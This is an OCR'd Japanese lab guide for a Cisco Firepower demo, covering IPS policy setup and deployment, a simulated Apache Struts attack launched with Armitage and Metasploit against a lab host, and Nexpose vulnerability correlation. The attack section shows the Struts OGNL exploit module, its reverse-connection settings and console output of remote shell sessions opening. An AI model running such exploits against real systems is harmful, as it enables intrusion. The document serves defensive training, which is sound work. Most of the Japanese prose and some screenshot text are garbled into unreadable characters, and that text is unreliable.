#ANLT=5.[OK] #9UvILET,

FEEFEEHEELLIELI-EE(C, Firepower Management Center (FMC) GIEOS Store Failed (EOS MR7FEIZRBLELT) 1&LVD
Ay—UHRREINFFEIE. FMC aVY—I ol T 7o . BERTAVLET . RO TERERELET .

16. CCTEEZFEFELTHEELELEM, &512 Firepower Management Center (FMC) A\ Firepower Threat Defense (FTD) it %
TFAT I+—IVICERZRBHATILENHYET , EREZEMT HICIL. B (Deploy)] REAVEI UV ILET,
Deploy. A System Help v admin v

4

port Intrusion Rules Access Contré Network Analysis Policy
¥ Compare Policies . Create Policy

Last Modified

17. RIZ. CO#FHLWEREERFAT S Firepower V) a—2aVvEBIRLET . MMd I EWVST NS ZADHEICHEIF TV IRYIRELFVIZL,
[EBf (Deploy)] RAVES v YL T #HLLY IPS BETERBALET,

Deploy Policies Version:2018-01-08 10:54 PM ? X
V] Device Group Current Version
i) ftd 2018-01-04 03:37 PM

v

Selected devices: 1 )
Deploy Cancel
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18. Ot RABRRSNET , HEDITABIRSNDE V1R INALET,

Please Wait

Initiating deploy process...

= -

19. FHDOBEEFTA22%EY)vILT Firepower 7T 54T RIZEREE T v 29 B, Firepower Manager DA T—2REHERT 5
CENTEET RT—HRF. BT LN —tE T TRREINET . BANTE T I HETEES I OVETS,

- O N @ =

System Help v admin v

Deployments -

e ,
@D | 1 rwing ' L - sowsssr. | [ocomens sl I T

(1 total’ ( 1 success ) show History

o fd Deployment - Collecting policies and objects. 11s

= - =
—
v ftd Deployment to device successful. 3m S1s

20. VAVRIEBRFHTIE AT—HADNFENSKZIZEDLY., FILLKR) S —DBESN TERELNRFITHEFZIENRSNET [1054
L DIHEIZFOY T (Drop when Inline) ] 1IZxt T 2R ED [IELV(Yes)] ITH-fzC e MYET,

1 System Help v admin v

Overview Analysis JRBIEEEN Devices Objects = AMP Intelligence Deploy

Access Control » Intrusion Network Discovery Application Detectors Correlation Actions v

Import/Export Intrusion Rules Access Control Network Analysis Policy

¥ Compare Policies &) Create Policy

.
Intrusion Policy Drop when Inline \\ \m Last Modified
1 @sed by 1 access control policy 2018-01-08 22:54:07 ;
Hack M fault IPS Pol 4 &
ack DS Derauit 1S rolicy You r_l olicy up-to-date on all 1 devices Modified by "admin” =/ LA

21. RIZTFATI+—ILDTIER RI—ZMHELET ., LED R —(Policies)] #7255 [7H A (Access Control)] K
AyFE UG, SEI [T X (Access Control)] #:#RLET

Overview Analysis e
Access Control » Intrusion Ne

Access ﬁmtrol

Intrusi

22. HackMDs T [HackMDs @ F 7+ )L —(HackMDs Default Policy)] £L\3 R ybD—4 RS —HERSN TS T EAH MY
F9. RAICHLBET A% vIL T [HackMDs DT 74 LRI S —(HackMDs Default Policy)] %=L, #R&ELET

< C @ D https;//198.19.10.5/ddd/#Firew t e O N o =
Overview Analysis IUAISETE Devices Objects AMP Intelligence , System Help v admin v
Access Control » Access Control Network Discovery Application Detectors Correlation Actions v
Object Management Intrusion Network Analysis Policy DNS Import/Export
&) New Policy
| ficcnes Contr Poftey st . Last Modified | |
HackMDs Defauk Policy Up-idatn o o tacgebed devices Modifed by “Frepower System* .
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23. RIZ, RISRINETZA(AL%ED)vIL T, TOER RS —DFERHDIL—)IL Default Rule ##RELZE T,

Policies o] S AMP  Intelligence eplo , System Help v admin v

Access Control » Access Control Network Discovery Application Detectors Correlation Actions v

HackMDs Default Policy [ @ cancel |
Enter Description
Prefilter Policy: Default Prefilter Palicy SSL Policy: None Identity Policy: HackMDS-

'g Inheritance Settings | Ll_:l Policy Assignments (1)
m Security Intelligence  HTTP Responses  Advanced

#8 Filter by Device |_| Show Rule Conflicts & & Add Category &) Add Rule  Search Rules

w Mandatory - HackMDs Default Policy (1-4)

1 Do-Not-Insp 47 == OBJ-» 22 FZ.att | ] : gl’; D¢ Any r j « alloy o 0 P |
= oeJ-a B8 infrac - FTP Pz o

2 Inbound We 4n; r S any 38 WebS A 1 iy S HTTP  Ar ¥ Aol [ 4 Lo &8

3 Monitor-URL An) 1 ‘ | | 1 ® Uncate 1 Moni 3 3 |

4 Default Rule 4n) ! J 1 A !  Allov Daty s s B

w Default - HackMDs Default Policy (-)

There are no

25 in this section, Add Rule or Add Category

Default Action Intrusion Prevention: Hack MDS Default IPS Policy V

24, THIZEY  ZOTIERFER) S — IL—ILO IL—ILOfRE - T I+ JL—)L (Edit Rule - Default Rule)] 71> RohR RSN
FT, BEOR)—ADTIEREFIHTZ, BHDET A21—DHEEEEREL TSN, HAZa— FF2avIzDdT, L

TICEBRIZERBALET,
Editing Rule - Default Rule ? X
Name | Default Rule] | ¥ Enabled Move
Action |« Allow Y DA &
m Networks VLANTags Users Applications Ports URLs  SGT/ISE Attributes Inspection Logging Comments
Available Zones € Source Zones (0) Destination Zones (0)

‘ 4 Search by name ‘

sew deloud-12-vlan1
suw deloud-12-vlan2
sou deloud-12-vlan3

suw deloud-vlan-primary

Save || cancel |

ELUTFISRT OREBMDSRERTT . BEICIEL T RORTYTITRF VT LTIRERITT HIENTEET,
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[V—>(Zones)]:DMZ 2 &E | EELI=RYLT—O D5 L—TF

Editing Rule - Default Rule

Name Default Rule

¥ Enabled

Action  « Allow

m Networks

Available Zones €

j

VLAN Tags Users Applications

Ports

URLs  SGT/ISE Attributes Inspection  Logging Comments

y Search by name

sun dcloud-12-vlan1
a3 deloud-12-vlan2
saw dcloud-12-vlan3

saw dcloud-vlan-primary

[k —2 (Networks)]: 2FKDAERYNT—9 YT RIMNEEDRYNT— £ T

Editing Rule - Default Rule

Name Default Rule

W Enabled

Action  « Allow

v N Lo

m VLAN Tags Users  Applications

Available Networks © Q

&

Ports

Source Zones (0)

Destination Zones (0)

Save | cancel

s

ook

URLs  SGT/ISE Attributes Inspection Logging Comments

\ Search by name or

[ Networks |
= any

= any-ipv4

& any-ipv6

= IPva4-Benchmark-Tests

=8 1Pv4-Link-Local

&2 IPv4-Multicast

52 IPv4-Private-10,0.0,0-8

== IPv4-Private-172.16.0.0-12
=® 1IPv4-Private-192.168.0.0-16

alue ‘

Geolocation

AddTo |
Source ‘
Networks

Add to
Destination ‘

[VLAN 4% (VLAN Tags)]: VLAN

Source Networks (0)

Enter an IP address

Destination Networks (0)
Original Client

Add add

| Enter an IP address |

Save { Cancel

F:7aF%Y v)a—a EBALTWSEERIL. Firepower 7 TV —SaVBI747 04— ILELTHERT HZET, FOF VI

FOTREESNLG VR ERETEET,

Zones  Networks nn:im Users Applications Ports URLs  SGT/ISE Attnibutes Inspection Logging Comments
Available VLAN Tags €& i+ ] Selected VLAN Tags (0)
4 Search by name or value
Add to Rule
Er ] | Add
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[—¥ (Users)]: Active Directory HEDY—RAMNOWMBTES1—Y JIL—7 . ZBHH BB ELE  BEDLI—FF=E T IL—TIR
)o—%BRATEET,

Editing Rule - Default Rule L
Name  Default Rule ¥ Enabled Move
Action  « Allow b -]
Zones Networks VLAN Tags m Applications Ports URLs  SGT/ISE Attributes Inspection Logging Comments
Available Realms € Available Users € Selected Users (D)
@ Special Identities @ ao1* 2
@ ao1 & Allowed RODC Password Replication Group
g Cert Publishers
&* Cloneable Domain Controllers
&* Denied RODC Password Replication Group
&° DnsAdmins
g DnsUpdateProxy
&% Domain Admins
& Domain Computers =
"K ] Viewing 1-100 of 241 (|

Save Cancel

[7FU4r—i a3z (Applications)]: L—ILEEATESMTFEDT IV —a R TEET, Firepower X7 TVr—23V EI747
A —ILTHB1=80. EZIERDRETIL, Facebook A& FRE ., Facebook N THIHT 20D EHDF T avnRRTEINWTNET,
SEETIZ, COBREILT 74 ILED Firepower SAEVRIZEETNTLET,

FE:Web HAhDTANRITF, X2 TATRESR) O —DERATHAIENEETT,

Zones Networks VLANTags Users BEVHITEIGIEE Ports  URLs  SGT/ISE Attributes Inspection  Logging Comments
Application Filters & Available Applications (3238) & Selected Applications and Filters (0)
TR | 4 search by name
[ User-Created Filters —;J ] 050plus @ﬂ
4 dlrisks (Any Selected) 7] 181 Internet (1]
Very Low ; ~1 1-800-Flowers L)
il Low ] 1000mercis L]
Medium ~] 100820 L)
High ] 100ye.com @
Elall very High 7] 12306.cn (1]
4 || Business Relevance (Any Selected) ] 126.c0m (1)
E‘::;’ Ko 5 T 17173.com 0,
S, - ¥ K4 Viewing 1-100 of 3238 (]

[[R—bk(Ports)]: FTP &1=I& BitTorrent % & | € DR—lfEl, ChdT T4 /LED Firepower 512V RIZEENTLET,

Zones Networks VLANTags Users  Applications m URLs  SGT/ISE Attributes Inspection Logging Comments

available Ports € .+ Selected Source Ports (0) Selected Destination Ports (0)

# aoL .

¢ Bittorrent

# DNS_over_TCP Add to
Source

#* DNS_over_UDP

& FTP

* HTTP

¥ HTTPS

Add to
Destination

&7 1MAP
i Loap
¥ NFSD-TCP =l Protocol TCP (6} ¥ Port Enter apof| Add | Protocol ¥ Pport|Enter a port|| Add

Save Cancel

FE:EMICTOXD V) 1—30TIE, 80 443 HEDHEDR—IITHRERINET , DFY., BitTorrent k574  THEASH
BR—MRE FDMDOR—MIRHEEINDENSTETT, Firepower Threat Defense (FTD) EDT TV r—Lav B I7A4 7 94—IL
(. FTRTOR—FETOLOVERERT B0, TOXS R—ADTH/O0—% 5T SHEELLTEMTT,
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[URL(URLS)]: RS —%ERATEDHKRTEHD Web A+ ERLET, Thnld, EAIZERBIZHFFEINET, Zhi Firepower D
URL SAtEVRATHDT=0. REFD Web YA LEFIZEET S XVIZDULVT, Cisco Talos A H#GAIICERARHESINET,

Zones Networks VLANTags Users Applications Ports SGT/ISE Attributes Inspection Logging Comments
Categories and URLs € © Reputations Selected URLs (0)
‘ | lany
URLs 5 - Well Known

* Any (Except Uncategorized) ﬂ 4 4 - Benign sites

® Uncategorized 3 - Benign sites with security risks

® Abortion 2 - Suspicious sites

® Abused Drugs Al 1 - High Risk

® Adult and Pornography

® Alcohol and Tobacco

® Auctions

® Bot Nets

® Business and Economy ;] | Enter URL | | Add |

[SGT/ISE B (SGT/ISE Attributes)]: Zhuld > 41# 7 IZ5RT . Cisco Identity Services Engine (ISE) EDEEA T ar T,

Editing Rule - Default Rule ? X
Name Default Rule ¥ Enabled Move
Action |« Allow 4 B/at
Zones Networks V0LANTags Users Applications Ports URLs ERIS S LT Inspection Logging Comments
Available Attributes © Available Metadata © Selected Source Metadata (0)
i § Search by name or value ‘ } § Search t name or value ‘
@ Security Group Tag & ANY o
& Device type & Auditors
&% Location IP &' BYOD
& Contractors
@& Developers
- Development_Servers
& Employees
@ Guests
& Network_Services =
& Nexpose_Critical_Vulnerability ;j | Add a Location IP Address | Add |
Cancel |

Save | |

25. 7R RYL—D [TIAILE JL—)L (Default Rule)] [&. 9 TIZ [FFA] (Allow)] 7O avIZBRESNTLNET,

Editing Rule - Default Rule ? X
Name | Default Rule ¥ Enabled Move

lActlon « Allow "l 89 &

m Networks VLANTags Users Applications Ports URLs  SGT/ISE Attributes Inspection Logging Comments

Available Zones €

Source Zones (0) Destination Zones (0)

Search by name

(2

4w branch

s Outside
e/ passive

aos pai

iaw dmz

san guest Add to

2w mgmt-net Sauie

so% OpS Add to
Destination |

Save | Cancel
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26. RIZ [TF74ILkIL—)L (Default Rule)] ® [A2ARS< 32 (Inspection)] BT TV ILET , BARYL—ANT TIZEY B THNT
WBIEERERL TS, TR T, Mr. Orange 1242 Web R— AWML [HH TEAMNE SO ERHEDR T LEFBMNENELS,

Editing Rule - Default Rule ? X

Marmme Default Rule ¥ Enabled Move

Action |« Allow o

Zones Networks VLANTags Users Applications Ports URLs  SGT/ISE Attributes Logging Comments

Intrusion Policy Variable Set

Hack MDS Default IPS Policy bl 7 Default Set V| &

File Palicy

HackMDs-File bl |

Save Cancel

CDEFRTIE, HackMDs Firepower V') 1—23>® IPS #EENARITHG>TULET, L KU K. FIDEE T Mr. Orange AMERAL-LD
LRICIHRTOAMERTTL. Fe5BHEDH S DMZ 12T 5T/ A TOA % Cisco Firepower MR TEEMESINEHEZELETT . E25
DURDRBTY,

WENEMNEoT-CETHERT D

5¥:Mr. Orange Mo DB BEEYIRLET,

1. Kali Linux REJ—HXF—3a> (Firefox T59H £y avORYIN47) IZRYEY,

2. 2 EEHOKBEZETTSHEIC. TTIZRELEBREORINEIRTILENHYET , RAMEEY YL T KX (Host)] #FEiR
L. [[RRFODHIB& (Remove Host)] &5 vILET . RRARHYEIRRSH =5, [ z)L 1(Shell 1)] 2T & [THRTFOAF(exploit)] 47
DED X 22V ILT BEFEOREI«RIERALES,
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Armitage View Hosts Attacks Workspaces Help

¥ & exploit 4
¥ (& multi
v (& http
shell 1
1 struts2_rest_xstream d Shell 2
struts_code_exec 17 B Services
struts_code_exec_classlog Scan

| struts_code_exec_exceptid
] struts_code_exec_paramek

strute dafault artinn mar

Operating System
Set Label...

m—— Remove Host

Console X | exploit X]*

| 1 Hi.-\TpL(‘-U LIIE 3STLUNU CLLENL LCUNINEC LLUI .« .

[*] Command: echo bsGy2Z0Cjle3otFuw;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets...

[*] Reading from socket A

[*] A: "Trying: not found\r\nsh: 2: Connected: not found\rinsh: 3: Escape: not found\r\n"
[*] Matching...

[*] B is input...

[*] Command shell session 2 opened (198.18.133.6:13900 -> 198.19.20.5:60176) at 2017-12-22
17:15:56 -0500

msf exploit( ) >

3. Armitage BEIEIZAEHRTINGHEYET  BEITRLT, 35— Elstruts 1 ¥ —7—FTHREL. TI/RTOAMITq )L 4% @ERAL
ij-o

Armitage Wiew Hosts Attacks Workspaces Help

¥ @ exploit A

v (& multi T
v [& http

struts2_rest_xstream

struts_code_exec

] struts_code_exec_classlog

] struts;odeiexegexcepm!

struts_wde_exec_parame'l-

strute dafault actinn mar

struts

-

Console X

[*] Command shell session 1 opened (198.18.133.6:17820 -> 198.19.20.5:42818) at 2017-12-22
15:03:09 -0500
[*] Command shell session 2 opened (198.18.133.6:13990 -> 198,19.20.5:60176) at 2017-12-22
17:15:55 -0500

st exploit(

4. struts2_content_type_ognl EWSTHRTAARESTILYVILET,
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5. ZCT.IVRTOASERRT2FIEEBRYBLET . ROEIF. ANTEILENHLFEMERLTVET,
H Attack

Apache Struts Jakarta Multipart Parser OGHNL Injection

This module exploits a remote code execution vulnerability in Apache Struts version 2.3.5 -
2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed via http Content-Type
header. Native payloads will be converted to executables and dropped in the server's
temp dir. If this fails, try a cmd/* payload, which wen't have to write to the disk.

Option & Value
EXE::Custom +

LHOST 198.18.133.6
LPORT 4060

warw. hackmds.com
RFORT 20

o]

/clientportal/fileuploadfupload. action

Targets; |0 == Universal |=
V] Use a reverse connection

__ Show advanced options

| Launch

6. WYE/NTA—RETNTHRELS, [8) (Launch)] REVEDYYILTIVRTOAMNERIBLET

7. STREHEAREINT Firepower 7TSAT7URICH L THEFHXATT , RORIE, WENKRI B EEFRLTNET,
Armitage View Hosts Attacks Workspaces Help
¥ [ exploit A
v (& multi ) ‘
v (& http I
I struts2 content type ogn|
L] struts2_rest_xstream
L] struts_code_exec
1 struts_code_exec_classlo
1 struts_code_exec_excepti
|1 struts_code_exec_paramels

ctrute dafault_actinn mar.

struts

-w

Console X | exploit X

JLULLENILPUI LdLy 11 LEUp Luau/sup Ltuau,. av uivn
TARGETURI =» fclientportal/fileupload/upload.action

msf exploit( ) » set RPORT 80
RPORT =» 80

msf exploit(

SSL => false

msf exploit(

RHOST => www,hackmds.com

msf exploit(

[*] Exploit running as background job 8.

[*] Started reverse TCP double handler on 198.18.133.6:15274
msf exploit( ) »

) » set SSL false

) > set RHOST www.hackmds.com

) » exploit -j

SE: COBF AT, Mr. Orange OZ DD E—FREE I HMNEEICITHNTLVET , Firepower (. FTLLVAEDRESS A
wmEhde, R —DEBABEMRGEL TITLET,

8. SMEIX. V1 FIALDFENE-ANRRINFLTA, DEYKBITEBLIZEVWSIETT HizITBASINZTIER R —N
HEEL TLVET , Mr. Orange M7Vt RIFIEFENELE=,
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9. Firepower ¥ 4+—IxIZRY . [H#7 (Analysis)] #7%2)voL T [BAA=21—(Intrusions Menu)] #F#IRL. [1 X+ (Events)] &
BRLET,

Overview Analysis el eIV o300 ] o) [Tae= ‘

Context Explorer Connections v Intrusions v File

Summary Dashboard Reviewed Events

Provides a summary of activity on the ap| Clipboard

Network x  Threats » m Incidents

10. ZZTH. KBIZK-TRIH—N, Firepower IPS R —IZ&->TITAVISNIZARUMRRREINET,

Analysis Jigs S AMP  Intelli ce Deplo em Help v admin v

Context Explorer Connections v Intrusions » Events Files v Hosts v Users v Vulnerabilities v Correlation v Custom v Lookup ¥ Search

Bookmark This Page Report Designer Dashboard View Bookmarks Search v

Events By Priority and Classification

© Info x
Event counts may differ from Dashboard as events
are pruned,
2018-02-16 19:27:53 - 2018-02-16 20:27:53 D

Drilldown of Event, Priority, and Classification > Table View of Events » Packets

Static
» Search Constraints (Edit Search Save Search)
Jump to... ¥
[T Message ~ Priority  Classification Lount
& I POLICY-OTHER Adobe ColdFusion component browser access attempt (1:25977:2) high Potential Corporate Policy Violation 1
& 1 POLICY-OTHER Adobe ColdFugion admin API access attempt (1:25976:2) high Potential Corporate Policy Violation 1
3 IC POLICY-OTHER Ado_b g0\dFusion admin interface access attempt (1:25975:2) high Potential Corporate Policy Violation 1
$ [0 SERVER-APACHE 'gache Struts remote code execution attempt (1:41819:2) high Attempted Administrator Privilege Gain 2
$ 0 SERVER-WEBAPP Java XML deserialization remote code execution attempt (1:44315:3) high Atternpted Administrator Privilege Gain 1

11. TSERVER-APACHE Struts remote code JEWINXENEENTNDIREBEAYE—CF DI THE ARVNERNIH—LEREBDEF
WHARTEINETT . SEIK. AVSAUVERINSARUISROYTEIN=2ERHMET, DFY., IPS E—RIZH-TWS1=86H, BE
MNEOYTENTZENSTETT  CORBARFIOKEOV IR RSNSETEEIINIIGEELHYET,

Jump to... ¥

[~ ~vTime % Priority ¥  Impact ¥ Inline ¥ Source IP X  Source * Destination ¥ Destination ¥  Source Port/ ¥  Destination Port /
$ [0 2018-02-16 20:26:49 high 1 * ‘ =i 198.18.133.6 |5 198.19.20.5 39007 / tcp 80 (http) / tcp
e 2018-02-16 19:32:14  high 1 &h 198.18.133.6 85 198.19.20.5 45145 / tep 80 (http) / tcp

Page 1 |of1 Displaying rows 1-2 of 2 rows
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12. Firepower Tl RYFT—I LDITRTOL AT LOMEHBEEHFE TEET . Mr. Orange DZ—4 vk %71 Apache S X T LD
KOIGMBHEI AT LE. TOTITAIIEET IHEELLTHATEET, COFET. RULMEBLREHICE SV TEX 2 T1% 5
BTEET, INERTT BT, [P (Analysis)] 2T %51 vHL. KRk (Hosts)] & [vkT—9 <v 7 (Network Map)] % 24R
LET,

LGEUTSEN Policies Devices Objects AMP Intelligence Deploy

Context Explorer Connections v Intrusions v Files v Hosts » Network Map Users v Vulnerabilities v Correlation v Custom v

Hosts Network Devices Mobile Devices Indications of Compromise Application Protocols Yulnerabilities Host Attributes

P and MAC addre 3 x

29

Hosts [IPv4] (26)
B 198 (26) a

Hosts [IPv6] (3)
@ 2002 (3) o

Hosts [MAC] (0)

13. FYrT—H L THREINERAMIRTENET, 198.19.20.Xx DMZ RYrT—IDT D IP PRLRIZET BET [+] 7AAVEY
JwH LT, [RA [IPv4](Hosts [IPv4])] Y AMEEBRLET .

Overview EEGEIMSEE Policies Devices O 5 | AMP Intellige

Context Explorer Connections v Intrusions v Files v Hosts » Network Map

m Network Devices Mobile Devices Indications of Compromise A

b Filter by IP and MAC addresses b 4

Unigque hosts: 29

Hosts [IPv4] (26)

B 198 (26) 5
Do 19818 (¢) =
198.18.128 (1) &
198.18.133 (5) &
B 198.19 (20) &
198.19.10 (14) &
198.19.20 (2) &
198.19.30 (2) &
198.19.40 (2) a9
Hosts [IPv6] (3)
2002 (3) &

Hosts [MAC] (0)
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14. RIZIP PRL X 198.19.20.5 #9)v9§ &, CORARDEMA R TIN, ZRIEFEEFINT- DMZ AREShET,

AMP  Intellig

Analysis

Context Explorer Connections v Intrusions v Files v

m Network Devices

Mobile Devices

Hosts » Network Map

Indications of Compromise

Users v Vulnerabilities v Correlation v

Application Protocols Vulnerabilities

Custom v

em Help v admin

Lookup v Search

Host Attributes

*  Host Profile

IP Addresses
NetBIOS Name
Hosts [IPv4] (28) Device (Hops)

] 198

198.19.20.5 (www.ad.hackmds.com)

ftd (0)

Generate White List Profile

g MAC Addresses (TTL) 00:50:56:B8:33:DA (VMware, Inc.) (64)
¥ 198.18 a Host Type Host
) 198.19 5 Last Seen 2018-02-16 18:53:53
5 198.19.10 3 Current User
Yiew Context Explorer | Connection Events | Intrusion Events | File Events | Malware Events
198.19.20 5
198.19.20.5 a Indications of Compromise i~ Edit Rule States
198.19.20.8 a
7 198.19.30 3 e
S dJ Operating System . Edit Operating System , View Operating Systems
7 198.19.40 5]
Vendor Product Version Source
Hosts [IPv6] (3) Ubuntu Linux 16.04 Application: NeXpose Scan Report
5 2002 &8
Servers v
Hosts [MAC] (0)
Protocol Port Application Protocol v¥endor and Yersion

15. FTAHMBIZRYO—)LF B, Firepower & Rapid 7 @ Nexpose I1Z&>T struts DIfESEEIEESIN -2 EMNHMYET, Firepower
X, B AR ESNS-DICHEEIEL BEMITIRE T ALSICHRETESD. IPS ORI —IHHONREE I TEE
T, OB DN TIE, T"R—FR 57K - Firepower NGIPS D 153> TH5—ERY EIFET,

Enterprise VYuln Mgr Vulnerabilities v
Name Component Port

80
Apache 2.4.18 (Ubuntu) 80
ApacheStruts 80

80
Apache 2.4.18 (Ubuntu) 80
ApacheStruts 80

8008111: Apache Struts

8008112: Struts Vuln

NeXpose Vulnerabilities v

& Edit Vulnerabilities

't C t Port

Name

L

Anonymous root login is allowed

Anonymous users can obtain the Windows password policy
CIFS NULL Session Permitted

Files or directories with no real owner or group

ICMP redirection enabled

FEBLDOAVE—D IPS TH/A0—TIE, HEEICENICT RERENEHAMICEHFEINTOET, FELAVT—F, 2—H D
RYRT—ODIRRERETHIENTELRN D, THNARADNEBENDOREFT—EROL T —FrEAMTIILLNTEEY

Ao DFY, BEERFLLBEICIECTHRESINS LV ZF 2 BT EDOEEELLENSIETT, TDH. ThZ AL EE DI
BHEFOT M REINDLSIC. IPS ZBRBICEDLE THETIIENARRE TSUTARIZHEYET,
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Rapid7 Nexpose & Cisco Firepower D#i&

— BB EF 2T FRL—ay 28— (SOC) T, MESEHMRFvFEEALT, RUFIT—V EDI R T LADHEFEHERFELTLY
9. COTRTRIESC, EFa)TABHHY)a—2arh, RETREMBUERBTETOIENFRICEETY, RELMHIBHEIC
EHET.IDS/IPS 12EDY) 21— 3 THEYIEREET S EMNTREIZIEYE T, Cisco Firepower [ZIXMEFFHED /v T XEFv 4L
BHYETH. thDMEBHERX v EFRTHEETEES, 12X (E BT TERE—FF % Rapid7 OHfEsEHET—4%F
BTAIENTEET, ZDEHI30TIE, Rapid 7 M Nexpose h i Firepower [ZHES3MET—2% A VR—b g 2 A EEHRALET . B E
IZIECT. CNIEFETITOCEEL BRI TITOICELTEE T, T2 RFIHIF I 572812, Nexpose M5 Cisco Firepower ~ D55
HTF—20EEE. EE. LB 1 EULEEBNICT Y 13NET,

1. [&#r(Analysis)] M5 [ESE T (Vulnerabilities)] ##IRL . [Y—F/S\—TF 42k BHEFH T —4 (Third-Party Vulnerabilities)] Z:#1R
lxij—o

Overview ELUELNCEE Policies Devices Objects | AMP Intelligence

Context Explorer Connections v Intrusions v Files v Hosts v Users v Vulnerabilities » Third-Party Vulnerabilities

Vulnerabilities Bookm:

Vulnerabilities by Source orkf SN Third-Party Vulnerabilities

Third-Party Vulnerabilities Summary Third- Parly Vulnerabllltles Details > Table View of*'Third-Party Vulnerabilities » Hosts

» Search Constraints (Edit Search Save Search)

SE:[[fa3514% (Vulnerabilities)] 7S 3> %EiR3 % &, Cisco Firepower AERELI-MEEEME/ Sy TR DBERENRTEINET . COMf
FHELHHEREX. T4 LD Firepower Manager BEAIZEENTNS:=6H DB R EDHESIEIFTETT,

2. RIZ NeXpose Z:&RLT. Nexpose H4FEL-MESBMEERELET .

y_ulnmb.ll(nj)n v Count
e
3 NeXpose™ il 1,815
Enterprise Yuln Mgr 2
Displaying rows 1-2 of 2 rows Page| 1 of1

3. Nexpose BNFELERBUENELET T ITAITEVATLNTREINET, ROFITIX. BEShBEBUENELET ST/ 1RH
([Ao2k(Count)] AN IZIEL T, Y RATLDZUIFIFERTVET,

Objects

M Analysis RGeS eI oS System Help v admin v

AMP  Intelligence
Context Explorer Connections v Intrusions v Files v Hosts v Users v Vulnerabilities » Third-Party Vulnerabilities Correlation v

Bookmark This Page Report Designer View Bookmarks Search

Vulgerabllltles by Sourc

rty Vulne y > Third- PartLVulne;a_h‘-hges,,l)gggl[; Table View of Third-Party Vulnerabilities > Hosts

» Search Constraints (Edit Search Save Search)

Jump to... v

Yulnerability Source Yulnerability ID Title ~ Count

] NeXpose & 17234324 ILS Server Supports TLS version 1.1 18
3 NeXpose & 6200824 TLS/SSL Server Supports The Use of Static Key Ciph, 17
' 8 NeXpose = 46722326 Untrusted TLS/SSL server X.509 certificate 13
8 NeXpose & 4690401 Self-signed TLS/SSL certificate 13
8 NeXpose & 86344261 TCP timestamp response 11
3 NeXpose & 75503451 TLS/SSL Server Supports 3DES Cipher Suite 11
: 8 NeXpose & 27010168 TLS Server Supports TLS version 1.0 11
3 NeXpose W& 22298258 TLS/SSL Birthday attacks on 64-bit block ciphers ( 11
8 NeXpose W 50714494 SHA-1-based Signature in TLS/SSL Server X.509 Cert 10
' NeXpose W 43656761 ICMP timestamp response 10
3 NeXpose & 17726213 TLS/SSL Server is enabling the BEAST attack 9
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4. NT FALAVEIIVITRE TOHRBUEDBEARTENET . COBITIE. BEAST REDT7Aa0EV )L TE#MERRLT
WEY, SRRDIRFEEICONT, BHRICHEMZHEEL TH TS,

Vulnerability Detail Fisco AMP
Vulnerability
NeX
Source onpRse -
;fslnerablllt\r17726213 Inerabilities » Tt
Title TLS/SSL Server is enabling the BEAST attack Bookmark This P:

NeXpose ID: ssl-cve-2011-3389-beast; References: cve:cve-2011-3389
Description url:http://vnhacker.blogspot.co.uk/2011/09/beast.html; Severity: 4; PCI Severity:
3; CVSS Score: 4.3; CVSS Vector: (AV:N/AC:M/Au:N/CIP/T:N/AIN)
CVE ID 2011-3389
Snort ID 20212

arty Vulnerabilities

SVID 98914
ersion 1.1
he Use of Static Ki
{.509 certificate
bate
BDES Cipher Suite
ersion 1.0
> NMEADUSE T LTI T T omugay anacks un 64-bit block ciph
8 NeXpose W 50714494 SHA-1-based Signature in TLS/SSL Server X.!
3 NeXpose “L 43656761 ICMP timestamp response
8 NeXpose ‘(‘2 17726213 TLS/SSL Server is enabling the BEAST attack

5. 12¢RIETORDESIZ, BEAST HBIZH T A M DFHMERERTIENTEET, AHKIC. FEDHIEHEICET HEHREER
TEET,. EDDOHIMEBEDREET) v ILTH TS,

NeXpose W 43656761 ICMP timestamp response 10
<
Nexpose “} 17726213 \Il _ 5L Serveris enabling the BEAST attack ]

6. CCTR.HEDHBEDEEEZTEITATOVRTLNRRINES, ZIITRT CVE D (£, MiSBHESBIHARELT, £
ROERVF—THEAIN TS ID TT, Cisco Snort ID FRENTWET , L. COBHERE T HOICHEAINTINS
Snort L—ILERLTWET , BEDRKRETIE. COFMTDT D RVMEBHENHEILITELIETILENHYET . 2FY. B
BERHE TS Snort L—ILHELVDY, 2R T CVE AT ESh TOEWNMEENHDENITETT, ZOHITIE, /85 FSyh— ID A
BYVERBA VRATLEEND L DU IL T, ZDAVEL—ADFMERTLTHELLS, IP #HY)YILTHRRN TAT7A)L
FTav %8RG BE KRN TOT7MILBNRTESNET,
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Bookmark This Page Report Designer View Bookmarks Search

Vulnerabilities by Source twich workiiow
Third-Party Vulnerabilities Summary > Third-Party Yulnerabilities Details > Table Yiew of Third-Party Yulnerabilities > Hosts

» Search Constraints (Edit Search Save Search)

3 [ NeXpose W 17726213 198194051  3389/tcp 011-3389 98914 20212 TLS/SSL Server is ensbling t
3 [ Nexpose W 17726213 gl 195.19.30.100  3389/tcp 2011-3389 98914 20212 rver i in
3 [0 NeXpose @ 17726213 ©198.19.10.12 443 (https)/tep 2011-3389 98914 20212 TLS/SSL Server is enabling Y
3 [ Hexpose W 17726213 2198191001 443 (https)/tep 2011-3389 98914 20212 TLS/SSL Server is enabling t
3 [ Nexpose & 17726213 8198.19.104  8443/tcp 2011-3389 98914 20212 TLS/SSL Server is enabling
3 [ Nexpose & 17726213 ®1198.19.104  8444/tcp 2011-3389 98914 20212 TLS/SSL Server is enabling t|
3 [ NeXpose @ 17726213 &l 198.19.10.2 44 t 011-3389 98914 20212 erver i li
83 || NeXpose *;712§g;§ =i 195.19.10.2 44 (s ¢ 11-3389 98914 20212 TLS/SSL Server is enabling t|
3 [ Nexpose W 17726213 819819102  3389/tcp 2011-3389 98914 20212 rver is enablin

7. VRATLDEAT . BTAULTWNRL—H REBELE . ZOVRATLOFHMMNRREINET , RIRSNHFERIT, BIRL-HEEME
ISIECT, COBIERRSVERGDIEENHYET,

Host Profile Generate White List Profile

IP Addresses 198.19.40.51

NetBIOS Name

Device (Hops) ftd (0)

MAC Addresses (TTL) 00:50:56:B8:6E:6D (VMware, Inc.) (255)

Host Type NAT Device

Last Seen 2018-01-17 10:09:19

Current User doogie howser (AD1\dhowser, LDAP)

View Context Explorer | Connection Events | Intrusion Events | File Events |

Malware Events

Indications of Compromise (3

v | & Edit Rule States || (3 Mark All Resolved |

Malware  Threat Detected in File  The host has encountered 3218-01- a 5313“01.
Detected Transfer malware 23:39:00 15:21:15
Impact 2 Impact.2 Intrusion The host was attacked and 2018-01- 2016-01-
Attack Event - attempted- is potentially vulnerable ;05 ~ 09
admin 15:30:47 10:17:38
